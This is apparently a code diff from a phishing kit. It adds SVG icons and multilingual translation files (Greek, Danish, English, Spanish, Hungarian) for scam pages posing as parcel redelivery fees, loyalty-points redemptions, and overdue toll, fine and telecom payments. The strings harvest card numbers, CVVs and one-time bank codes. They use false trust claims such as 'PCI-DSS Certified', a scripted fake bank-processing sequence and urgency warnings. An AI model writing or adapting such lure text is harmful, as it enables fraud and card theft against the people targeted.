d="M10 3.22l-.61-.6a5.5 5.5 0 0 0-7.666.105 5.5 5.5 0 0 0-.114 7.665L10 18.78l8.39-8.4a5.5 5.5 0 0 0-.114-7.665 5.5 5.5 0 0 0-7.666-.105l-.61.61z"
/>
</svg>
</template>

View File

@@ -0,0 +1,19 @@
<!-- This icon is from <https://github.com/Templarian/MaterialDesign>, distributed under Apache 2.0 (https://www.apache.org/licenses/LICENSE-2.0) license-->
<template>
<svg
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
aria-hidden="true"
role="img"
class="iconify iconify--mdi"
width="24"
height="24"
preserveAspectRatio="xMidYMid meet"
viewBox="0 0 24 24"
>
<path
d="M20 18v-4h-3v1h-2v-1H9v1H7v-1H4v4h16M6.33 8l-1.74 4H7v-1h2v1h6v-1h2v1h2.41l-1.74-4H6.33M9 5v1h6V5H9m12.84 7.61c.1.22.16.48.16.8V18c0 .53-.21 1-.6 1.41c-.4.4-.85.59-1.4.59H4c-.55 0-1-.19-1.4-.59C2.21 19 2 18.53 2 18v-4.59c0-.32.06-.58.16-.8L4.5 7.22C4.84 6.41 5.45 6 6.33 6H7V5c0-.55.18-1 .57-1.41C7.96 3.2 8.44 3 9 3h6c.56 0 1.04.2 1.43.59c.39.41.57.86.57 1.41v1h.67c.88 0 1.49.41 1.83 1.22l2.34 5.39z"
fill="currentColor"
></path>
</svg>
</template>

View File

@@ -0,0 +1,132 @@
export default {
"There is an error in this field, please check": "Υπάρχει σφάλμα σε αυτό το πεδίο, παρακαλούμε ελέγξτε",
"Please enter a valid email address": "Παρακαλώ εισάγετε μια έγκυρη διεύθυνση email",
"Dear users, please fill in the form carefully to ensure the successful delivery": "Αγαπητοί χρήστες, παρακαλούμε συμπληρώστε προσεκτικά την φόρμα για να εξασφαλίσετε την επιτυχή παράδοση",
"Your Name": "Το όνομά σας",
"Address": "Διεύθυνση",
"Detailed Address": "Λεπτομερής Διεύθυνση",
"(Optional)": "(Προαιρετικό)",
"City": "Πόλη",
"State": "Πολιτεία",
"Province": "Επαρχία",
"Region": "Περιοχή",
"Zip Code": "Ταχυδρομικός Κώδικας",
"E-Mail": "Ηλεκτρονικό Ταχυδρομείο",
"Next": "Επόμενο",
"Telephone Number": "Αριθμός Τηλεφώνου",
"Online": "Online",
"Payment": "Πληρωμή",
"For redelivery, we need to charge some service fees. Your package will be re-delivered after payment": "Για εκ νέου παράδοση, πρέπει να χρεώσουμε κάποια τέλη υπηρεσίας. Η αποστολή σας θα παραδοθεί ξανά μετά την πληρωμή",
"lump sum: ": "Εφάπαξ: ",
"Cardholder": "Κάτοχος Κάρτας",
"Card Number": "Αριθμός Κάρτας",
"Expire Date": "Ημερομηνία Λήξης",
"Security Code": "Κωδικός Ασφαλείας",
"Submit": "Υποβολή",
"Click here to receive another code": "Κάντε κλικ εδώ για να λάβετε έναν άλλο κωδικό",
"Please confirm your identity and a one-time code will be sent": "Παρακαλούμε επιβεβαιώστε την ταυτότητά σας και θα σας αποσταλεί ένας κωδικός μιας χρήσης στο κινητό σας ή τη διεύθυνση email σας. Εισάγετε τον κωδικό επαλήθευσης εδώ",
"The verification code has been sent to": "Ο κωδικός επαλήθευσης έχει σταλεί στο",
"Please do not click the": "Παρακαλούμε μην κάνετε κλικ στα κουμπιά 'Ανανέωση' ή 'Πίσω' καθώς αυτό μπορεί να τερματίσει την συναλλαγή σας",
"Verification code error, please try again": "Σφάλμα κωδικού επαλήθευσης, παρακαλώ προσπαθήστε ξανά",
"The session is about to expire, please complete the verification now": "Η συνεδρία πρόκειται να λήξει, παρακαλούμε ολοκληρώστε την επαλήθευση τώρα",
"This card does not support this transaction, please try another card": "Αυτή η κάρτα δεν υποστηρίζει αυτήν τη συναλλαγή, παρακαλούμε δοκιμάστε μια άλλη κάρτα",
"Authorized bank": "Εξουσιοδοτημένη Τράπεζα",
"Please go to the bank App to confirm the authorization": "Παρακαλούμε μεταβείτε στην εφαρμογή της τράπεζας για να επιβεβαιώσετε την εξουσιοδότηση",
"Please do not close this page": "Παρακαλούμε μην κλείσετε αυτήν την σελίδα",
"Payment Successful": "Η Πληρωμή Στεφάνθηκε Επιτυχώς!",
"Thank you for your purchase. Your payment has been processed successfully": "Σας ευχαριστούμε για την αγορά σας. Η πληρωμή σας έχει επεξεργαστεί με επιτυχία",
"Mailing address": "Διεύθυνση Αποστολής",
"street address or house number": "Διεύθυνση Οδού ή Αριθμός Σπιτιού",
"Apartment number": "Αριθμός Διαμερίσματος, Αριθμός Δωματίου κ.λπ.",
"Safe payment": "Ασφαλής Πληρωμή",
"Verification code": "Κωδικός Επαλήθευσης",
"Welcome": "Καλώς ήρθατε",
"back": "Πίσω!",
"We reward you for using point services": "Σας επιβραβεύουμε για τη χρήση των υπηρεσιών πόντων",
"Check your points": "Ελέγξτε τους πόντους σας",
"Phone number": "Αριθμός Τηλεφώνου",
"Inquire": "Ρωτήστε",
"Exchange": "Ανταλλαγή",
"Spend points": "Ξοδέψτε Πόντους",
"Points Available": "Διαθέσιμοι Πόντοι",
"You don't have enough points": "Δεν έχετε αρκετούς πόντους",
"Please redeem your favorite product": "Παρακαλούμε εξαργυρώστε το αγαπημένο σας προϊόν",
"Confirm your shipping address": "Επιβεβαιώστε τη διεύθυνση αποστολής σας",
"Order number": "Αριθμός Παραγγελίας: ",
"Pay": "Πληρωμή",
"Pay Message": "Πληρώστε {0} για να εξαργυρώσετε πόντους για προϊόντα",
"Pay electronic tolls online": "Πληρώστε τα ηλεκτρονικά διόδια online",
"your electronic toll payment was unsuccessful": "Η πληρωμή των ηλεκτρονικών διοδίων απέτυχε.",
"Billing Information": "Πληροφορίες Τιμολόγησης",
"Description": "Περιγραφή",
"Dear customer": "Αγαπητέ πελάτη:",
"Electronic Communications Charge Payment Failed": "Η Πληρωμή Χρέωσης Ηλεκτρονικών Επικοινωνιών Απέτυχε",
"Invoice Number": "Αριθμός Τιμολογίου",
"Amount": "Ποσό",
"Pay Immediately": "Πληρώστε Άμεσα",
"Phone Number": "Αριθμός Τηλεφώνου",
"Electronic communication fee payment failed": "Η πληρωμή για το τέλος ηλεκτρονικής επικοινωνίας απέτυχε",
"Illustrate": "Επεξηγήστε",
"SSL Encryption": "Κρυπτογράφηση SSL",
"PCI-DSS Certified": "Πιστοποιημένο PCI-DSS",
"Transaction Details": "Λεπτομέρειες Συναλλαγής",
"Transaction ID:": "Αριθμός Συναλλαγής:",
"Processing Network:": "Δίκτυο Επεξεργασίας:",
"Processing Time:": "Χρόνος Επεξεργασίας:",
"Security Level:": "Επίπεδο Ασφαλείας:",
"Preparing...": "Προετοιμασία...",
"High": "Υψηλό",
"Initializing payment environment...": "Αρχικοποίηση περιβάλλοντος πληρωμής...",
"Encrypting card information...": "Κρυπτογράφηση πληροφοριών κάρτας...",
"Establishing secure connection...": "Δημιουργία ασφαλούς σύνδεσης...",
"Verifying card number and issuer...": "Επαλήθευση αριθμού κάρτας και εκδότη...",
"Validating CVV code...": "Επαλήθευση κωδικού CVV...",
"Checking fraud risk...": "Έλεγχος κινδύνου απάτης...",
"Sending transaction request...": "Αποστολή αίτησης συναλλαγής...",
"Waiting for bank authorization...": "Αναμονή για εξουσιοδότηση τράπεζας...",
"Processing bank response...": "Επεξεργασία απάντησης τράπεζας...",
"Confirming transaction status...": "Επιβεβαίωση κατάστασης συναλλαγής...",
"Finalizing transaction...": "Ολοκλήρωση συναλλαγής...",
"Visa Secure Network": "Δίκτυο Ασφαλείας Visa",
"Mastercard Global Payment Network": "Παγκόσμιο Δίκτυο Πληρωμών Mastercard",
"American Express Dedicated Channel": "Ειδικό Κανάλι American Express",
"UnionPay Gateway": "Πύλη UnionPay",
"{time} seconds": "{time} δευτερόλεπτα",
"International Payment Network": "Διεθνές Δίκτυο Πληρωμών",
"Homepage License Plate": "Πινακίδα Αρχικής Σελίδας",
"JCC Smart Cyprus Image": "Εικόνα JCC Smart Κύπρου",
"Check Your Payment Details": "Ελέγξτε τα στοιχεία πληρωμής σας",
"Enter your vehicle's license plate number to verify your account and ensure timely toll payment to avoid fines.": "Εισαγάγετε τον αριθμό κυκλοφορίας του οχήματός σας για να επαληθεύσετε τον λογαριασμό σας και να εξασφαλίσετε την έγκαιρη πληρωμή των διοδίων ώστε να αποφύγετε πρόστιμα.",
"Enter license plate number (e.g. XYZ1234)": "Εισαγάγετε τον αριθμό κυκλοφορίας (π.χ. XYZ1234)",
"Verify Payment Details": "Έλεγχος Στοιχείων Πληρωμής",
"Toll Payment": "Πληρωμή Διοδίων",
"License Plate Number": "Αριθμός Κυκλοφορίας",
"Traffic violation information (e.g. mobile phone use while driving). First violation <strong>50€</strong>, second violation <strong>150€</strong>, and so on.": "Πληροφορίες για παραβάσεις κυκλοφορίας (π.χ. χρήση κινητού τηλεφώνου κατά την οδήγηση). Πρώτη παράβαση <strong>50€</strong>, δεύτερη παράβαση <strong>150€</strong>, και ούτω καθεξής.",
"Tolls": "Διόδια",
"Due Date": "Ημερομηνία Λήξης",
"Fine Amount": "Ποσό προστίμου",
"Pay Now": "Πληρώστε Τώρα",
"Note that, due to late payment, this transaction is valid only for credit card payments.": "Σημειώστε ότι, λόγω μη έγκαιρης πληρωμής, αυτή η συναλλαγή είναι έγκυρη μόνο για πληρωμές με πιστωτική κάρτα.",
"Cardholder Name": "Όνομα Κατόχου Κάρτας",
"First and Last Name": "Όνομα και Επώνυμο",
"XXXX XXXX XXXX XXXX": "XXXX XXXX XXXX XXXX",
"Expiration Date": "Ημερομηνία Λήξης",
"MM/YY": "MM/ΕΕ",
"123(CVV)": "123(CVV)",
"Card Icon": "Εικονίδιο Κάρτας",
"CVV": "CVV",
"Successful Toll Payment": "Επιτυχής Πληρωμή Διοδίων",
"Thank you for your payment. The tolls have been processed successfully.": "Σας ευχαριστούμε για την πληρωμή σας. Τα διόδια έχουν διεκπεραιωθεί με επιτυχία.",
"Phone": "Τηλέφωνο",
"Toll Amount": "Ποσό Διοδίων",
"50.00 EUR": "50.00 EUR"
};

View File

@@ -0,0 +1,96 @@
export default {
"There is an error in this field, please check": "Der er en fejl i dette felt, venligst tjek",
"Please enter a valid email address": "Indtast venligst en gyldig e-mailadresse",
"Dear users, please fill in the form carefully to ensure the successful delivery": "Kære brugere, udfyld venligst formularen omhyggeligt for at sikre vellykket levering",
"Your Name": "Dit navn",
"Address": "Adresse",
"Detailed Address": "Detaljeret adresse",
"(Optional)": "(Valgfrit)",
"City": "By",
"State": "Stat",
"Province": "Provins",
"Region": "Region",
"Zip Code": "Postnummer",
"E-Mail": "E-mail",
"Next": "Næste",
"Telephone Number": "Telefonnummer",
"Online": "Online",
"Payment": "Betaling",
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment": "For genlevering skal vi opkræve nogle servicegebyrer. Din pakke vil blive genleveret efter betaling",
"lump sum: ": "Engangsbeløb: ",
"Cardholder": "Kortholder",
"Card Number": "Kortnummer",
"Expire Date": "Udløbsdato",
"Security Code": "Sikkerhedskode",
"Submit": "Indsend",
"Click here to receive another code": "Klik her for at modtage en ny kode",
"Please confirm your identity and a one-time code will be sent": "Bekræft venligst din identitet, og en engangskode vil blive sendt til dit mobilnummer eller e-mailadresse. Indtast venligst bekræftelseskoden her",
"The verification code has been sent to": "Bekræftelseskoden er sendt til",
"Please do not click the": "Klik venligst ikke på 'Opdater' eller 'Tilbage' knapperne, da dette kan afbryde eller afslutte din transaktion",
"Verification code error, please try again": "Fejl i bekræftelseskode, prøv venligst igen",
"The session is about to expire, please complete the verification now": "Sessionen er ved at udløbe, udfør venligst bekræftelsen nu",
"This card does not support this transaction, please try another card": "Dette kort understøtter ikke denne transaktion, prøv venligst et andet kort",
"Authorized bank": "Autoriseret bank",
"Please go to the bank App to confirm the authorization": "Gå venligst til bank-appen for at bekræfte godkendelsen",
"Please do not close this page": "Luk venligst ikke denne side",
"Payment Successful": "Betaling lykkedes!",
"Thank you for your purchase. Your payment has been processed successfully": "Tak for dit køb. Din betaling er behandlet korrekt",
"Mailing address": "Postadresse",
"street address or house number": "Gadeadresse eller husnummer",
"Apartment number": "Lejlighedsnummer, værelsesnummer osv.",
"Safe payment": "Sikker betaling",
"Verification code": "Bekræftelseskode",
"Welcome": "Velkommen",
"back": "tilbage!",
"We reward you for using point services": "Vi belønner dig for at bruge pointtjenester",
"Check your points": "Tjek dine point",
"Phone number": "Telefonnummer",
"Inquire": "Forespørg",
"Exchange": "Byt",
"Spend points": "Brug point",
"Points Available": "Tilgængelige point",
"You don't have enough points": "Du har ikke nok point",
"Please redeem your favorite product": "Indløs venligst dit yndlingsprodukt",
"Confirm your shipping address": "Bekræft din forsendelsesadresse",
"Order number": "Ordrenummer: ",
"Pay": "Betal",
"Pay Message": "Betal {0} for at indløse point til varer",
"Pay electronic tolls online": "Betal elektroniske vejafgifter online",
"your electronic toll payment was unsuccessful": "Din betaling af elektronisk vejafgift mislykkedes.",
"Billing Information": "Faktureringsoplysninger",
"Description": "Beskrivelse",
"Dear customer": "Kære kunde:",
"Electronic Communications Charge Payment Failed": "Betaling af elektronisk kommunikationsgebyr mislykkedes",
"Invoice Number": "Fakturanummer",
"Amount": "Beløb",
"Pay Immediately": "Betal straks",
"Phone Number": "Telefonnummer",
"Electronic communication fee payment failed": "Betaling af elektronisk kommunikationsgebyr mislykkedes",
"Illustrate": "Illustrer",
"SSL Encryption": "SSL-kryptering",
"PCI-DSS Certified": "PCI-DSS-certificeret",
"Transaction Details": "Transaktionsdetaljer",
"Transaction ID:": "Transaktions-ID:",
"Processing Network:": "Behandlingsnetværk:",
"Processing Time:": "Behandlingstid:",
"Security Level:": "Sikkerhedsniveau:",
"Preparing...": "Forbereder...",
"High": "Høj",
"Initializing payment environment...": "Initialiserer betalingsmiljø...",
"Encrypting card information...": "Krypterer kortoplysninger...",
"Establishing secure connection...": "Etablerer sikker forbindelse...",
"Verifying card number and issuer...": "Bekræfter kortnummer og udsteder...",
"Validating CVV code...": "Validerer CVV-kode...",
"Checking fraud risk...": "Tjekker svindelrisiko...",
"Sending transaction request...": "Sender transaktionsanmodning...",
"Waiting for bank authorization...": "Venter på bankgodkendelse...",
"Processing bank response...": "Behandler banksvar...",
"Confirming transaction status...": "Bekræfter transaktionsstatus...",
"Finalizing transaction...": "Afslutter transaktion...",
"Visa Secure Network": "Visa Secure Network",
"Mastercard Global Payment Network": "Mastercard Globalt Betalingsnetværk",
"American Express Dedicated Channel": "American Express Dedikeret Kanal",
"UnionPay Gateway": "UnionPay Gateway",
"{time} seconds": "{time} sekunder",
"International Payment Network": "Internationalt Betalingsnetværk"
}

View File

@@ -0,0 +1,123 @@
export default {
"There is an error in this field, please check": "There is an error in this field, please check",
"Please enter a valid email address": "Please enter a valid email address",
"Dear users, please fill in the form carefully to ensure the successful delivery": "Dear users, please fill in the form carefully to ensure successful delivery",
"Your Name": "Your Name",
"Address": "Address",
"Detailed Address": "Detailed Address",
"(Optional)": "(Optional)",
"City": "City",
"State": "State",
"Province": "Province",
"Region": "Region",
"Zip Code": "Postal Code",
"E-Mail": "Email",
"Next": "Next",
"Telephone Number": "Phone Number",
"Online": "Online",
"Payment": "Payment",
"For redelivery, we need to charge some service fees. Your package will be re-delivered after payment": "For redelivery, a service fee is required. Your package will be dispatched after payment is confirmed.",
"lump sum: ": "Total Amount: ",
"Cardholder": "Cardholder Name",
"Card Number": "Card Number",
"Expire Date": "Expiry Date",
"Security Code": "Security Code (CVV)",
"Submit": "Submit",
"Click here to receive another code": "Click here to receive a new code",
"Please confirm your identity and a one-time code will be sent": "Please confirm your identity; a one-time PIN (OTP) will be sent to your phone or email. Enter the code here.",
"The verification code has been sent to": "The verification code has been sent to",
"Please do not click the": "Please do not click 'Refresh' or 'Back' as it may interrupt the transaction.",
"Verification code error, please try again": "Verification code error, please try again",
"The session is about to expire, please complete the verification now": "The session is about to expire, please complete the verification now",
"This card does not support this transaction, please try another card": "This card does not support this transaction, please try another card",
"Authorized bank": "Authorized Bank",
"Please go to the bank App to confirm the authorization": "Please go to your bank app to confirm the authorization",
"Please do not close this page": "Please do not close this page",
"Payment Successful": "Payment Successful!",
"Thank you for your purchase. Your payment has been processed successfully": "Thank you. Your payment has been processed successfully.",
"Mailing address": "Shipping Address",
"street address or house number": "Street address or house number",
"Apartment number": "Apartment, suite, unit, etc.",
"Safe payment": "Secure Payment",
"Verification code": "Verification Code",
"Welcome": "Welcome",
"back": "Back",
"We reward you for using point services": "We reward you for using our points services",
"Check your points": "Check your points balance",
"Phone number": "Phone Number",
"Inquire": "Inquire",
"Exchange": "Redeem",
"Spend points": "Spend Points",
"Points Available": "Points Available",
"You don't have enough points": "Inadequate points balance",
"Please redeem your favorite product": "Please redeem your preferred reward",
"Confirm your shipping address": "Confirm delivery address",
"Order number": "Order Number: ",
"Pay": "Pay",
"Pay Message": "Pay {0} to redeem your points for rewards",
"Pay electronic tolls online": "Pay electronic tolls online",
"your electronic toll payment was unsuccessful": "Your toll payment was unsuccessful.",
"Billing Information": "Billing Information",
"Description": "Description",
"Dear customer": "Dear Customer:",
"Electronic Communications Charge Payment Failed": "Electronic Communications payment failed",
"Invoice Number": "Notice / Invoice Number",
"Amount": "Amount",
"Pay Immediately": "Pay Immediately",
"Phone Number": "Phone Number",
"Electronic communication fee payment failed": "Electronic communication fee payment failed",
"Illustrate": "Details",
"SSL Encryption": "SSL Encryption",
"PCI-DSS Certified": "PCI-DSS Certified",
"Transaction Details": "Transaction Details",
"Transaction ID:": "Transaction ID:",
"Processing Network:": "Processing Network:",
"Processing Time:": "Processing Time:",
"Security Level:": "Security Level:",
"Preparing...": "Preparing...",
"High": "High",
"Initializing payment environment...": "Initializing secure payment environment...",
"Encrypting card information...": "Encrypting card information...",
"Establishing secure connection...": "Establishing secure connection...",
"Verifying card number and issuer...": "Verifying card number and issuer...",
"Validating CVV code...": "Validating CVV code...",
"Checking fraud risk...": "Checking fraud risk...",
"Sending transaction request...": "Sending transaction request...",
"Waiting for bank authorization...": "Waiting for bank authorization...",
"Processing bank response...": "Processing bank response...",
"Confirming transaction status...": "Confirming transaction status...",
"Finalizing transaction...": "Finalizing transaction...",
"Visa Secure Network": "Visa Secure Network",
"Mastercard Global Payment Network": "Mastercard Global Payment Network",
"American Express Dedicated Channel": "American Express Dedicated Channel",
"UnionPay Gateway": "UnionPay Gateway",
"{time} seconds": "{time} seconds",
"International Payment Network": "International Payment Network",
"Homepage License Plate": "Vehicle Registration",
"JCC Smart Cyprus Image": "Security Image",
"Check Your Payment Details": "Check Your Payment Details",
"Enter your vehicle's license plate number to verify your account and ensure timely toll payment to avoid fines.": "Enter your vehicle's license plate number to verify your account and ensure timely payment to avoid penalties.",
"Enter license plate number (e.g. XYZ1234)": "Enter license plate number (e.g. ABC 123 GP)",
"Verify Payment Details": "Verify Payment Details",
"Toll Payment": "Toll / Fine Payment",
"License Plate Number": "License Plate Number",
"Traffic violation information (e.g. mobile phone use while driving). First violation <strong>50€</strong>, second violation <strong>150€</strong>, and so on.": "Traffic violation info (e.g., speeding). First violation <strong>R400</strong>, second violation <strong>R600</strong>, etc.",
"Tolls": "Fines / Tolls",
"Due Date": "Due Date",
"Fine Amount": "Fine Amount",
"Pay Now": "Pay Now",
"Note that, due to late payment, this transaction is valid only for credit card payments.": "Please note: due to late payment, this transaction only accepts credit card payments.",
"Cardholder Name": "Cardholder Name",
"First and Last Name": "First and Last Name",
"XXXX XXXX XXXX XXXX": "XXXX XXXX XXXX XXXX",
"Expiration Date": "Expiration Date",
"MM/YY": "MM/YY",
"123(CVV)": "123 (CVV)",
"Card Icon": "Card Icon",
"CVV": "CVV",
"Successful Toll Payment": "Payment Successful",
"Thank you for your payment. The tolls have been processed successfully.": "Thank you. Your infringement / toll payment has been processed successfully.",
"Phone": "Phone",
"Toll Amount": "Total Amount",
payment_loading: { modal_title: "Processing Payment", modal_subtitle: "Please do not close this page", transaction_details: "Transaction Details", transaction_id: "Transaction ID:", processing_network: "Processing Network:", processing_time: "Processing Time:", security_level: "Security Level:", preparing: "Preparing...", high: "High", step_init: "Initializing payment environment...", step_encrypt: "Encrypting card information...", step_connect: "Establishing secure connection...", step_verify_card: "Verifying card number and issuer...", step_validate_cvv: "Validating CVV code...", step_fraud: "Checking fraud risk...", step_send: "Sending transaction request...", step_wait_auth: "Waiting for bank authorization...", step_process_resp: "Processing bank response...", step_confirm: "Confirming transaction status...", step_finalize: "Finalizing transaction...", network_visa: "Visa Secure Network", network_mastercard: "Mastercard Global Payment Network", network_amex: "American Express Dedicated Channel", network_unionpay: "UnionPay Payment Channel", network_intl: "International Payment Network", time_seconds: "{time} seconds", },
};

View File

@@ -0,0 +1,122 @@
export default {
"There is an error in this field, please check": "Hay un error en este campo, por favor verifique",
"Please enter a valid email address": "Por favor, introduzca una dirección de correo electrónico válida",
"Dear users, please fill in the form carefully to ensure the successful delivery": "Estimados usuarios, por favor completen el formulario cuidadosamente para garantizar la entrega exitosa",
"Your Name": "Su nombre",
"Address": "Dirección",
"Detailed Address": "Dirección detallada",
"(Optional)": "(Opcional)",
"City": "Ciudad",
"State": "Estado",
"Province": "Provincia",
"Region": "Región",
"Zip Code": "Código postal",
"E-Mail": "Correo electrónico",
"Next": "Siguiente",
"Telephone Number": "Número de teléfono",
"Online": "En línea",
"Payment": "Pago",
"For redelivery, we need to charge some service fees. Your package will be re-delivered after payment": "Para la reentrega, necesitamos cobrar algunas tarifas de servicio. Su paquete será reenviado después del pago",
"lump sum: ": "Suma total: ",
"Cardholder": "Titular de la tarjeta",
"Card Number": "Número de tarjeta",
"Expire Date": "Fecha de expiración",
"Security Code": "Código de seguridad",
"Submit": "Enviar",
"Click here to receive another code": "Haga clic aquí para recibir otro código",
"Please confirm your identity and a one-time code will be sent": "Por favor confirme su identidad y se enviará un código de un solo uso a su teléfono o correo electrónico. Ingrese el código de verificación aquí",
"The verification code has been sent to": "El código de verificación ha sido enviado a",
"Please do not click the": "Por favor no haga clic en los botones 'Actualizar' o 'Atrás' ya que esto podría terminar su transacción",
"Verification code error, please try again": "Error en el código de verificación, por favor intente nuevamente",
"The session is about to expire, please complete the verification now": "La sesión está a punto de expirar, por favor complete la verificación ahora",
"This card does not support this transaction, please try another card": "Esta tarjeta no admite esta transacción, por favor intente con otra tarjeta",
"Authorized bank": "Banco autorizado",
"Please go to the bank App to confirm the authorization": "Por favor ingrese a la aplicación bancaria para confirmar la autorización",
"Please do not close this page": "Por favor no cierre esta página",
"Payment Successful": "¡Pago exitoso!",
"Thank you for your purchase. Your payment has been processed successfully": "Gracias por su compra. Su pago se ha procesado con éxito",
"Mailing address": "Dirección postal",
"street address or house number": "Calle o número de casa",
"Apartment number": "Número de apartamento, habitación, etc.",
"Safe payment": "Pago seguro",
"Verification code": "Código de verificación",
"Welcome": "Bienvenido",
"back": "¡Atrás!",
"We reward you for using point services": "Le recompensamos por utilizar servicios de puntos",
"Check your points": "Consultar sus puntos",
"Phone number": "Número de teléfono",
"Inquire": "Consultar",
"Exchange": "Intercambiar",
"Spend points": "Gastar puntos",
"Points Available": "Puntos disponibles",
"You don't have enough points": "No tiene suficientes puntos",
"Please redeem your favorite product": "Por favor canjee su producto favorito",
"Confirm your shipping address": "Confirme su dirección de envío",
"Order number": "Número de pedido: ",
"Pay": "Pagar",
"Pay Message": "Pague {0} para canjear productos con puntos",
"Pay electronic tolls online": "Pagar peajes electrónicos en línea",
"your electronic toll payment was unsuccessful": "Su pago de peaje electrónico no fue exitoso.",
"Billing Information": "Información de facturación",
"Description": "Descripción",
"Dear customer": "Estimado cliente:",
"Electronic Communications Charge Payment Failed": "Error en el pago del cargo por comunicaciones electrónicas",
"Invoice Number": "Número de factura",
"Amount": "Monto",
"Pay Immediately": "Pagar ahora",
"Phone Number": "Número de teléfono",
"Electronic communication fee payment failed": "El pago de la tarifa de comunicación electrónica falló",
"Illustrate": "Ilustrar",
"SSL Encryption": "Cifrado SSL",
"PCI-DSS Certified": "Certificado PCI-DSS",
"Transaction Details": "Detalles de la transacción",
"Transaction ID:": "ID de transacción:",
"Processing Network:": "Red de procesamiento:",
"Processing Time:": "Tiempo de procesamiento:",
"Security Level:": "Nivel de seguridad:",
"Preparing...": "Preparando...",
"High": "Alta",
"Initializing payment environment...": "Inicializando entorno de pago...",
"Encrypting card information...": "Encriptando información de la tarjeta...",
"Establishing secure connection...": "Estableciendo conexión segura...",
"Verifying card number and issuer...": "Verificando número de tarjeta y emisor...",
"Validating CVV code...": "Validando código CVV...",
"Checking fraud risk...": "Comprobando riesgo de fraude...",
"Sending transaction request...": "Enviando solicitud de transacción...",
"Waiting for bank authorization...": "Esperando autorización del banco...",
"Processing bank response...": "Procesando respuesta del banco...",
"Confirming transaction status...": "Confirmando estado de la transacción...",
"Finalizing transaction...": "Finalizando transacción...",
"Visa Secure Network": "Red segura de Visa",
"Mastercard Global Payment Network": "Red global de pagos Mastercard",
"American Express Dedicated Channel": "Canal dedicado American Express",
"UnionPay Gateway": "Pasarela UnionPay",
"{time} seconds": "{time} segundos",
"International Payment Network": "Red de pagos internacional",
"Homepage License Plate": "Placa en la página de inicio",
"JCC Smart Cyprus Image": "Imagen JCC Smart Chipre",
"Check Your Payment Details": "Verifique los detalles de su pago",
"Enter your vehicle's license plate number to verify your account and ensure timely toll payment to avoid fines.": "Ingrese la placa de su vehículo para verificar su cuenta y asegurar el pago oportuno del peaje para evitar multas.",
"Enter license plate number (e.g. XYZ1234)": "Ingrese número de placa (ej. XYZ1234)",
"Verify Payment Details": "Verificar detalles de pago",
"Toll Payment": "Pago de peaje",
"License Plate Number": "Número de placa",
"Traffic violation information (e.g. mobile phone use while driving). First violation <strong>50€</strong>, second violation <strong>150€</strong>, and so on.": "Información sobre infracciones de tráfico (por ejemplo, uso del teléfono móvil al conducir). Primera infracción <strong>50€</strong>, segunda <strong>150€</strong>, y así sucesivamente.",
"Tolls": "Peajes",
"Due Date": "Fecha de vencimiento",
"Fine Amount": "Monto de la multa",
"Pay Now": "Pagar ahora",
"Note that, due to late payment, this transaction is valid only for credit card payments.": "Tenga en cuenta que, debido al pago tardío, esta transacción solo es válida para pagos con tarjeta de crédito.",
"Cardholder Name": "Nombre del titular",
"First and Last Name": "Nombre y apellido",
"XXXX XXXX XXXX XXXX": "XXXX XXXX XXXX XXXX",
"Expiration Date": "Fecha de expiración",
"MM/YY": "MM/AA",
"123(CVV)": "123(CVV)",
"Card Icon": "Ícono de tarjeta",
"CVV": "CVV",
"Successful Toll Payment": "Pago de peaje exitoso",
"Thank you for your payment. The tolls have been processed successfully.": "Gracias por su pago. Los peajes han sido procesados con éxito.",
"Phone": "Teléfono",
"Toll Amount": "Monto del peaje",
};

View File

@@ -0,0 +1,81 @@
export default {
"There is an error in this field, please check":
"Hiba történt ebben a mezőben, kérjük, ellenőrizze",
"Please enter a valid email address": "Kérjük, adjon meg egy érvényes e-mail címet",
"Dear users, please fill in the form carefully to ensure the successful delivery":
"Kedves felhasználók, kérjük, gondosan töltse ki az űrlapot a sikeres kézbesítés érdekében",
"Your Name": "Az Ön neve",
"Address": "Cím",
"Detailed Address": "Részletes cím",
"(Optional)": "(Opcionális)",
"City": "Város",
"State": "Állam",
"Province": "Megye",
"Region": "Régió",
"Zip Code": "Irányítószám",
"E-Mail": "E-mail",
"Next": "Tovább",
"Telephone Number": "Telefonszám",
"Online": "Online",
"Payment": "Fizetés",
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
"A visszaszállításhoz bizonyos szolgáltatási díjakat kell felszámítanunk. A csomagot a fizetés után kézbesítjük újra",
"lump sum: ": "átalányösszeg: ",
"Cardholder": "Kártyatulajdonos",
"Card Number": "Kártyaszám",
"Expire Date": "Lejárati dátum",
"Security Code": "Biztonsági kód",
"Submit": "Küldés",
"Click here to receive another code": "Kattintson ide egy másik kód fogadásához",
"Please confirm your identity and a one-time code will be sent":
"Kérjük, erősítse meg személyazonosságát, és egy egyszeri kódot küldünk a mobiltelefonszámára vagy e-mail címére. Kérjük, itt adja meg az ellenőrző kódot",
"The verification code has been sent to":
"Az ellenőrző kódot elküldtük a következő címre:",
"Please do not click the":
"Kérjük, ne kattintson a 'Frissítés' vagy a 'Vissza' gombokra, mert ez megszakíthatja a tranzakciót",
"Verification code error, please try again":
"Ellenőrző kód hiba, kérjük, próbálja újra",
"The session is about to expire, please complete the verification now":
"A munkamenet hamarosan lejár, kérjük, fejezze be az ellenőrzést most",
"This card does not support this transaction, please try another card":
"Ez a kártya nem támogatja ezt a tranzakciót, kérjük, próbáljon meg egy másik kártyát",
"Authorized bank": "Engedélyezett bank",
"Please go to the bank App to confirm the authorization":
"Kérjük, menjen a banki alkalmazásba az engedélyezés megerősítéséhez",
"Please do not close this page": "Kérjük, ne zárja be ezt az oldalt",
"Payment Successful": "Sikeres fizetés!",
"Thank you for your purchase. Your payment has been processed successfully":
"Köszönjük a vásárlást. A fizetése sikeresen feldolgozva",
"Mailing address": "Levelezési cím",
"street address or house number": "utca vagy házszám",
"Apartment number": "Lakásszám, szobaszám stb.",
"Safe payment": "Biztonságos fizetés",
"Verification code": "Ellenőrző kód",
"Welcome": "Üdvözöljük",
"back":"vissza!",
"We reward you for using point services": "Megjutalmazzuk a pontszolgáltatások használatáért",
"Check your points": "Ellenőrizze a pontjait",
"Phone number": "Telefonszám",
"Inquire": "Érdeklődés",
"Exchange": "Csere",
"Spend points": "Pontok felhasználása",
"Points Available": "Elérhető pontok",
"You don't have enough points": "Nincs elég pontja",
"Please redeem your favorite product": "Kérjük, váltsa be kedvenc termékét",
"Confirm your shipping address": "Erősítse meg szállítási címét",
"Order number": "Rendelésszám: ",
"Pay": "Fizetés",
"Pay Message": "Fizessen {0}-t a pontok áruértékre váltásához",
